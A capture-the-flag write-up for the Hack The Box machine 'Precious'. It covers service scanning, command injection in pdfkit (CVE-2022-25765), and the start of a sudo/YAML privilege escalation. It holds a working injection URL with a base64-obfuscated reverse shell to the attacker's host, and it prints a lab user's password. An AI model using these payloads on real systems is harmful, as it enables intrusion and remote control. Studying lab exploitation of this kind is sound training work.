Precious HTB writeup
Posted on Thu 23 February 2023 in hackthebox
This is a writeup of the machine Precious from Hack The Box.
As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/precious 10.10.11.189 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 12:25 EST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.29% done; ETC: 12:25 (0:00:00 remaining)
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.65% done; ETC: 12:25 (0:00:00 remaining)
Nmap scan report for 10.10.11.189
Host is up (0.029s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds
Only two ports are open.
SSH and HTB.
We see that the HTTP request is redirected to http://precious.htb/ so we add this to /etc/hosts/
.
If we have a look at the HTTP headers we can see that the site was built with Ruby.
Upload example html
The website states to convert web pages to PDF so let's create an html file then serve and submit it.
mkdir www
cd www
touch index.html # and add some html
python3 -m http.server 80
Then enter http://10.10.14.13/
and download the generated pdf.
Now we can inspect the pdf with exiftool hbk6f3xrj6xh3b60tg0ttr133q4fkv07.pdf
ExifTool Version Number : 12.55
File Name : hbk6f3xrj6xh3b60tg0ttr133q4fkv07.pdf
Directory : .
File Size : 11 kB
File Modification Date/Time : 2023:02:23 12:45:08-05:00
File Access Date/Time : 2023:02:23 12:45:08-05:00
File Inode Change Date/Time : 2023:02:23 12:45:08-05:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
The pdf was generated with pdfkit v0.8.6.
A Google search for pdfkit v0.8.6
returns that it is vulnerable to CVE-2022-25765
.
Once can find an article on that vulnerability in the Snyk Vulnerability DB
Exploit
We first try to inject a sleep command to test if the app is indeed vulnerable. For this we submit the following address:
http://10.10.14.13/?name=#{'%20`sleep 5`'}
This takes about 5 seconds to generate the pdf. From this we can conduct that the app is vulnerable.
Now we spawn a reverse shell with the following command:
http://10.10.14.13/?name=#{'%20`echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMy85MDAxIDA+JjE=' | base64 -d | bash`'}
And then upgrade the shell as always with python3 -c 'import pty; pty.spawn("/bin/bash")'
Enumeration
We start our enumeration by running linpeas.sh
which hints us to an intesting file: /home/ruby/.bundle/config
This file contains credentials for a user called henry: BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH
We then try to login via ssh with these credentials. And are able to read the user flag.
Privilege escalation
Let's see if henry is allowed to run any commands with sudo: sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
And indeed henry may run /usr/bin/ruby /opt/update_dependencies.rb
as root without having to provide a password.
So let's inspect the contents of said ruby script:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
This script reads a yaml file with File.read
which is mentioned in this article and can be used to priv esc.